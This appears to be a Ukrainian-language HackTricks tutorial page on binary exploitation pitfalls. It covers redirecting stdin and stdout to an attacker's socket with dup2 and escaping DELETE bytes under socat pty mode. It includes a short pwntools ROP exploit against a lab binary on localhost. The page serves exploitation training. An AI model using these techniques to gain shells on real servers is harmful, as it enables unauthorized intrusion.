Загальні проблеми експлуатації

Reading time: 2 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

FD у віддаленій експлуатації

Коли ви надсилаєте експлойт на віддалений сервер, який викликає system('/bin/sh'), це буде виконано в процесі сервера, і /bin/sh очікуватиме введення з stdin (FD: 0) і виведе результати в stdout і stderr (FDs 1 і 2). Тому атакуючий не зможе взаємодіяти з оболонкою.

Спосіб вирішення цієї проблеми полягає в тому, щоб припустити, що коли сервер запустився, він створив FD номер 3 (для прослуховування), а потім ваше з'єднання буде в FD номер 4. Отже, можливо використовувати системний виклик dup2, щоб дублювати stdin (FD 0) і stdout (FD 1) в FD 4 (той, що належить з'єднанню атакуючого), щоб це зробило можливим зв'язок з оболонкою після її виконання.

Приклад експлойту звідси:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Зверніть увагу, що socat вже передає stdin та stdout до сокета. Однак, режим pty включає символи DELETE. Тому, якщо ви надішлете \x7f ( DELETE -), це видалить попередній символ вашого експлойту.

Щоб обійти це, символ втечі \x16 повинен бути попереджений перед будь-яким \x7f, що надсилається.

Тут ви можете знайти приклад цієї поведінки.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks